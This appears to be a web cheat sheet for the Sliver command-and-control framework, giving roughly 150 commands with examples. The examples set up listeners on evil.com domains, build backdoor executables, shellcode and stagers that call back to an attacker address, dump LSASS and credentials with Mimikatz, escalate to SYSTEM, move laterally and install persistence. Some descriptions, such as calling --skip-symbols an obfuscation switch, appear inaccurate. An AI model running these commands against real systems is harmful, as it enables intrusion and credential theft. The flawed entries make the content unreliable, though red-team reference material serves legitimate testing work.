# Sliver

> An open-source, cross-platform command-and-control framework for adversary emulation, with mTLS, WireGuard, HTTP(S) and DNS implants.

- Category: Exploitation
- Commands: 150
- Page: https://terminal.rokibulroni.com/tool/exploitation/sliver
- Homepage: https://github.com/BishopFox/sliver
- Documentation: https://sliver.sh/docs
- Tags: C2, red team, implants

## Install

- apt: `sudo apt install sliver`
- other: `curl https://sliver.sh/install | sudo bash`

## Server Startup

### sliver-server

```bash
sliver-server
```

Starts the main Sliver command and control server.


## Client Connection

### sliver-client import

```bash
sliver-client import
```

Example:

```bash
sliver-client import ./operator_cfg.json
```

Imports an operator configuration file to authenticate the client.

### sliver-client

```bash
sliver-client
```

Launches the client console to connect to the server.


## Operator Management

### operators

```bash
operators
```

Lists all operators currently configured on the server.

### new-operator

```bash
new-operator
```

Example:

```bash
new-operator --name redteam1 --lhost 10.10.10.5
```

Creates a new operator profile with a specific listening host.

### multiplayer

```bash
multiplayer
```

Enables multiplayer mode to allow multiple operators to connect.


## General

### version

```bash
version
```

Displays the current version of the Sliver server and client.

### monitor

```bash
monitor
```

Streams real-time events and logs from the server to the console.

### licenses

```bash
licenses
```

Displays the software licenses for Sliver and its dependencies.

### update

```bash
update
```

Checks for updates to the Sliver framework.


## Listener Management

### mtls

```bash
mtls
```

Example:

```bash
mtls --lport 8888
```

Starts a Mutual TLS listener on the specified port.

### mtls -P

```bash
mtls -P
```

Example:

```bash
mtls --persistent --lport 8888
```

Starts a persistent mTLS listener that survives server restarts.

### http

```bash
http
```

Example:

```bash
http --lport 80
```

Starts a standard HTTP listener on port 80.

### http -d

```bash
http -d
```

Example:

```bash
http --domain evil.com --lport 80
```

Starts an HTTP listener associated with a specific domain.

### https

```bash
https
```

Example:

```bash
https --lport 443 --domain secure.com
```

Starts an HTTPS listener using an automatically generated or provided cert.

### https -c

```bash
https -c
```

Example:

```bash
https --cert ./cert.pem --key ./key.pem --lport 443
```

Starts an HTTPS listener using a custom SSL certificate and key.

### https --lets-encrypt

```bash
https --lets-encrypt
```

Example:

```bash
https --domain my-c2.com --lets-encrypt
```

Starts an HTTPS listener and attempts to fetch a Let's Encrypt certificate.

### dns

```bash
dns
```

Example:

```bash
dns --domain ns1.evil.com --lport 53
```

Starts a DNS listener for command and control over DNS records.

### wg

```bash
wg
```

Example:

```bash
wg --lport 51820
```

Starts a WireGuard listener for encapsulated C2 traffic.

### jobs

```bash
jobs
```

Lists all currently active listeners (jobs).

### jobs -k

```bash
jobs -k
```

Example:

```bash
jobs -k 1
```

Kills a specific listener job by its ID.


## Infrastructure

### websites

```bash
websites
```

Lists all active websites hosted by the Sliver server.

### websites add

```bash
websites add
```

Example:

```bash
websites add --website-name payload --web-path / --content ./payload.exe
```

Hosts a file on a specific path for download.

### websites rm

```bash
websites rm
```

Example:

```bash
websites rm --website-name payload
```

Removes a hosted website or file.


## Canary Management

### canaries

```bash
canaries
```

Lists all generated DNS canaries.

### generate-canary

```bash
generate-canary
```

Example:

```bash
generate-canary --domain canary.evil.com
```

Generates a DNS canary string to detect blue team investigation.


## Implant Profiles

### profiles

```bash
profiles
```

Lists all saved implant profiles.

### profiles new

```bash
profiles new
```

Example:

```bash
profiles new --mtls 10.10.10.5:8888 --os windows --arch amd64 win_mtls
```

Creates a new reusable profile for generating Windows mTLS implants.

### profiles new -b

```bash
profiles new -b
```

Example:

```bash
profiles new --http 10.10.10.5:80 --format shellcode win_shellcode
```

Creates a profile for generating shellcode implants over HTTP.

### profiles generate

```bash
profiles generate
```

Example:

```bash
profiles generate --profile win_mtls
```

Generates an implant binary using a saved profile.


## Implant Generation

### generate --mtls

```bash
generate --mtls
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --os windows --save ./backdoor.exe
```

Generates a basic Windows binary connecting via mTLS.

### generate --http

```bash
generate --http
```

Example:

```bash
generate --http 10.10.10.5:80 --os linux --save ./linux_backdoor
```

Generates a Linux binary connecting via HTTP.

### generate --dns

```bash
generate --dns
```

Example:

```bash
generate --dns ns1.evil.com. --os macos --save ./mac_dns
```

Generates a macOS binary connecting via DNS.

### generate --format

```bash
generate --format
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --format shared --save ./hook.dll
```

Generates a shared library (DLL/dylib) implant.

### generate --shellcode

```bash
generate --shellcode
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --format shellcode --save ./shellcode.bin
```

Generates raw shellcode for injection or custom loaders.

### generate --service

```bash
generate --service
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --format service --save ./svc.exe
```

Generates a Windows service binary.

### generate --skip-symbols

```bash
generate --skip-symbols
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --skip-symbols
```

Generates an implant with obfuscation and symbol stripping enabled.

### generate --evasion

```bash
generate --evasion
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --evasion
```

Enables advanced evasion techniques during compilation.

### generate --run-at-load

```bash
generate --run-at-load
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --format shared --run-at-load
```

Ensures the DLL implant executes immediately upon being loaded.

### generate --limit-domain-joined

```bash
generate --limit-domain-joined
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --limit-domain-joined
```

Restricts execution to domain-joined machines only.

### regenerate

```bash
regenerate
```

Example:

```bash
regenerate --id [implant-id]
```

Recompiles an existing implant configuration.


## Implant Management

### implants

```bash
implants
```

Lists all generated implants recorded in the database.

### implants rm

```bash
implants rm
```

Example:

```bash
implants rm [implant-id]
```

Deletes an implant record from the database.


## Session Management

### sessions

```bash
sessions
```

Lists all active interactive sessions.

### beacons

```bash
beacons
```

Lists all active asynchronous beacons.

### use

```bash
use
```

Example:

```bash
use [session-id]
```

Enters interactive mode with a specific session or beacon.

### background

```bash
background
```

Backgrounds the current interactive session.

### kill

```bash
kill
```

Example:

```bash
kill [session-id]
```

Terminates a specific session or beacon.


## Beacon Configuration

### reconfigure

```bash
reconfigure
```

Example:

```bash
reconfigure --interval 1m --jitter 10s
```

Updates the check-in interval and jitter for the current beacon.

### interactive

```bash
interactive
```

Converts a beacon into an interactive session.


## Situational Awareness

### info

```bash
info
```

Displays detailed information about the compromised host and implant.

### ping

```bash
ping
```

Sends a round-trip ping to the implant to calculate latency.

### whoami

```bash
whoami
```

Displays the current user context of the implant.

### env

```bash
env
```

Lists environment variables on the target system.

### hostname

```bash
hostname
```

Retrieves the hostname of the target system.


## File System

### ls

```bash
ls
```

Example:

```bash
ls C:\Users
```

Lists files and directories in the specified path.

### cd

```bash
cd
```

Example:

```bash
cd C:\Windows\Temp
```

Changes the current working directory on the target.

### pwd

```bash
pwd
```

Prints the current working directory.

### cat

```bash
cat
```

Example:

```bash
cat config.txt
```

Reads and displays the contents of a file.

### rm

```bash
rm
```

Example:

```bash
rm suspicious.log
```

Deletes a file on the target system.

### mkdir

```bash
mkdir
```

Example:

```bash
mkdir hidden
```

Creates a new directory.

### upload

```bash
upload
```

Example:

```bash
upload /local/tools/rubeus.exe C:\Windows\Temp\rubeus.exe
```

Uploads a file from the server to the target machine.

### download

```bash
download
```

Example:

```bash
download C:\Users\Administrator\Desktop\secrets.txt
```

Downloads a file from the target machine to the server.

### mv

```bash
mv
```

Example:

```bash
mv old.txt new.txt
```

Moves or renames a file on the target.

### cp

```bash
cp
```

Example:

```bash
cp source.txt dest.txt
```

Copies a file on the target system.


## Process Management

### ps

```bash
ps
```

Lists running processes on the target system.

### ps -o

```bash
ps -o
```

Lists processes and identifies the owner of each process.

### pgrep

```bash
pgrep
```

Example:

```bash
pgrep lsass
```

Searches for a process by name.

### terminate

```bash
terminate
```

Example:

```bash
terminate 1234
```

Terminates a process by its PID.


## Execution

### execute

```bash
execute
```

Example:

```bash
execute -o cmd.exe /c whoami
```

Executes a command on the target and captures the output.

### shell

```bash
shell
```

Spawns an interactive pseudo-terminal (shell) on the target.

### run-as

```bash
run-as
```

Example:

```bash
run-as --user Administrator cmd.exe
```

Executes a program as a different user (requires credentials/tokens).


## Process Injection

### migrate

```bash
migrate
```

Example:

```bash
migrate 4567
```

Migrates the implant into another running process.


## Memory Operations

### procdump

```bash
procdump
```

Example:

```bash
procdump -p 500 lsass.dmp
```

Dumps the memory of a specific process ID to a file.


## Registry (Windows)

### registry read

```bash
registry read
```

Example:

```bash
registry read "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
```

Reads a Windows registry key or value.

### registry write

```bash
registry write
```

Example:

```bash
registry write "HKCU\Software\Test" "Value" "Data"
```

Writes a value to the Windows registry.

### registry create

```bash
registry create
```

Example:

```bash
registry create "HKCU\Software\NewKey"
```

Creates a new registry key.

### registry delete

```bash
registry delete
```

Example:

```bash
registry delete "HKCU\Software\OldKey"
```

Deletes a registry key or value.


## Privilege Escalation

### getprivs

```bash
getprivs
```

Enables all available privileges for the current process token.

### getsystem

```bash
getsystem
```

Attempts to elevate privileges to SYSTEM automatically.


## Token Manipulation

### impersonate

```bash
impersonate
```

Example:

```bash
impersonate user
```

Impersonates a logged-on user's token.

### rev2self

```bash
rev2self
```

Reverts the current thread token to the original process token.

### make-token

```bash
make-token
```

Example:

```bash
make-token --user domain\admin --password Secret
```

Creates a new logon session/token with provided credentials.


## Network Enumeration

### netstat

```bash
netstat
```

Displays active network connections on the target.

### ifconfig

```bash
ifconfig
```

Displays network interface configurations.

### arp

```bash
arp
```

Displays the ARP table to identify adjacent hosts.

### resolve

```bash
resolve
```

Example:

```bash
resolve hostname.local
```

Resolves a hostname to an IP address from the target.


## Tunneling & Pivoting

### socks5

```bash
socks5
```

Example:

```bash
socks5 start --port 1080
```

Starts a SOCKS5 proxy server tunneling traffic through the implant.

### socks5 stop

```bash
socks5 stop
```

Example:

```bash
socks5 stop --id 1
```

Stops a running SOCKS5 proxy job.

### portfwd add

```bash
portfwd add
```

Example:

```bash
portfwd add --remote 192.168.1.10:80 --local 8080
```

Forwards a local port on the C2 server to a remote address via the implant.

### portfwd rm

```bash
portfwd rm
```

Example:

```bash
portfwd rm --id 1
```

Removes an active port forwarding rule.

### rportfwd add

```bash
rportfwd add
```

Example:

```bash
rportfwd add --remote 8080 --local 80
```

Reverse forwards a port from the target machine back to the C2 server/client.


## Surveillance

### screenshot

```bash
screenshot
```

Takes a screenshot of the target's desktop.


## Armory & Extensions

### armory

```bash
armory
```

Lists available extensions and aliases in the Sliver Armory.

### armory update

```bash
armory update
```

Updates the local cache of Armory packages.

### armory install

```bash
armory install
```

Example:

```bash
armory install seatbelt
```

Installs an extension (e.g., Seatbelt) from the Armory.

### extensions

```bash
extensions
```

Lists currently installed extensions.

### extensions load

```bash
extensions load
```

Example:

```bash
extensions load /path/to/extension
```

Loads a local extension manually.


## Advanced Execution

### execute-assembly

```bash
execute-assembly
```

Example:

```bash
execute-assembly /path/to/tool.exe
```

Executes a .NET assembly in memory on the target (Windows only).

### execute-shellcode

```bash
execute-shellcode
```

Example:

```bash
execute-shellcode /path/to/shellcode.bin
```

Injects and executes raw shellcode into the current process.

### sideload

```bash
sideload
```

Example:

```bash
sideload /path/to/dll
```

Loads a shared library in memory.


## Task Management

### tasks

```bash
tasks
```

Lists pending and active tasks for the current beacon.

### tasks cancel

```bash
tasks cancel
```

Example:

```bash
tasks cancel [task-id]
```

Cancels a queued task for a beacon.


## User Management

### msg

```bash
msg
```

Example:

```bash
msg * "Hello World"
```

Sends a popup message to the user on the target (Windows).


## Lateral Movement

### psexec

```bash
psexec
```

Example:

```bash
psexec --target 192.168.1.20 --service-name svc
```

Executes a command on a remote system via Service Manager (requires extension).

### wmic

```bash
wmic
```

Example:

```bash
wmic --target 192.168.1.20 process call create cmd.exe
```

Executes processes on remote systems using WMI.

### ssh

```bash
ssh
```

Example:

```bash
ssh user@192.168.1.50
```

Connects to a remote host via SSH from the compromised machine.

### upload-and-exec

```bash
upload-and-exec
```

Example:

```bash
upload-and-exec ./beacon.exe
```

Helper to upload a binary and immediately execute it.


## Loot Management

### loot

```bash
loot
```

Lists all collected loot (credentials, files) stored on the server.

### loot rm

```bash
loot rm
```

Example:

```bash
loot rm [id]
```

Removes a specific loot item from the server.

### loot clean

```bash
loot clean
```

Clears all stored loot.


## Aliases

### aliases

```bash
aliases
```

Lists currently defined command aliases.

### alias

```bash
alias
```

Example:

```bash
alias list_files ls
```

Creates a new custom alias for a command.


## Advanced Networking

### wg-portfwd

```bash
wg-portfwd
```

Configures port forwarding specifically over WireGuard tunnels.

### wg-socks

```bash
wg-socks
```

Configures SOCKS proxy specifically over WireGuard tunnels.


## Database

### db export

```bash
db export
```

Example:

```bash
db export ./sliver-data.json
```

Exports the entire server database to a JSON file.

### db import

```bash
db import
```

Example:

```bash
db import ./sliver-data.json
```

Imports a database file (useful for migration or backup recovery).


## Implant Interaction

### interactive --tunnel

```bash
interactive --tunnel
```

Establishes a tunnel for interactive tools through the beacon.


## Automation

### beacons watch

```bash
beacons watch
```

Monitors for new beacons and runs a command automatically.


## Defense Evasion

### obfuscate

```bash
obfuscate
```

Example:

```bash
obfuscate --method garble
```

Applies obfuscation to scripts or payloads (conceptual, depends on extension).


## Cleanup

### service-install

```bash
service-install
```

Persists the implant as a system service.

### service-uninstall

```bash
service-uninstall
```

Removes the implant service from the target.

### clear

```bash
clear
```

Clears the terminal screen.


## Post-Exploitation

### lsass-dump

```bash
lsass-dump
```

Extension command to dump LSASS memory specifically.

### seatbelt

```bash
seatbelt
```

Example:

```bash
seatbelt -group=system
```

Runs the Seatbelt extension for safety checks.

### sharp-wmi

```bash
sharp-wmi
```

Example:

```bash
sharp-wmi action=query
```

Runs SharpWMI extension for WMI interaction.

### rubeus

```bash
rubeus
```

Example:

```bash
rubeus klist
```

Runs Rubeus extension for Kerberos interaction.

### mimikatz

```bash
mimikatz
```

Example:

```bash
mimikatz "sekurlsa::logonpasswords"
```

Runs Mimikatz extension to dump credentials.


## DNS Management

### dns -z

```bash
dns -z
```

Example:

```bash
dns --zone example.com
```

Specifies the DNS zone for the listener.


## Stagers

### profiles new --format service

```bash
profiles new --format service
```

Example:

```bash
profiles new --format service svc_profile
```

Creates a profile specifically for generating service binaries.

### generate --stager

```bash
generate --stager
```

Example:

```bash
generate --stager --mtls 10.10.10.5:8888
```

Generates a small stager payload that fetches the full implant.

### stagers

```bash
stagers
```

Lists active stager listeners.


## Security

### totp

```bash
totp
```

Configures TOTP (2FA) for operator login.


## Implant Config

### generate --max-errors

```bash
generate --max-errors
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --max-errors 10
```

Sets the maximum connection errors before the implant exits.

### generate --reconnect

```bash
generate --reconnect
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --reconnect 1m
```

Sets the reconnection interval for the implant.


## Pivoting

### tcp-pivot

```bash
tcp-pivot
```

Example:

```bash
tcp-pivot --lport 9999
```

Starts a TCP pivot listener on the compromised host.

### named-pipe-pivot

```bash
named-pipe-pivot
```

Example:

```bash
named-pipe-pivot --pipe-name foobar
```

Starts a named pipe listener for SMB pivoting.


## Process Management

### process-list

```bash
process-list
```

Alternative command to list processes with different formatting.


## Windows Utils

### net-user

```bash
net-user
```

Example:

```bash
net-user username
```

Queries information about a specific local user.

### net-group

```bash
net-group
```

Example:

```bash
net-group Administrators
```

Queries membership of a local group.

### net-localgroup

```bash
net-localgroup
```

Lists all local groups on the machine.


## Logging

### audit

```bash
audit
```

Displays the audit log of operator actions.


## Cleanup

### terminate-all

```bash
terminate-all
```

Mass termination of all active sessions (emergency switch).


## Server Config

### save

```bash
save
```

Forces a save of the server state to disk.


## Extensions

### coff-loader

```bash
coff-loader
```

Loads and executes a COFF (Common Object File Format) file.


## Network

### curl

```bash
curl
```

Example:

```bash
curl http://10.10.10.10/test
```

Makes an HTTP request from the implant (if extension available).


## Cleanup

### rm -f

```bash
rm -f
```

Example:

```bash
rm -f C:\Windows\Temp\payload.exe
```

Forces the deletion of a file, suppressing errors.


## Implant Generation

### generate --debug

```bash
generate --debug
```

Example:

```bash
generate --mtls 10.10.10.5:8888 --debug
```

Generates a debug build of the implant (prints logs to console).


## Operator Config

### use-profile

```bash
use-profile
```

Example:

```bash
use-profile default
```

Switches the active operator profile.


## Final Cleanup

### exit

```bash
exit
```

Disconnects the client or stops the server gracefully.

## Related tools

- [Covenant](https://terminal.rokibulroni.com/tool/exploitation/covenant)
- [Metasploit Framework](https://terminal.rokibulroni.com/tool/exploitation/metasploit)
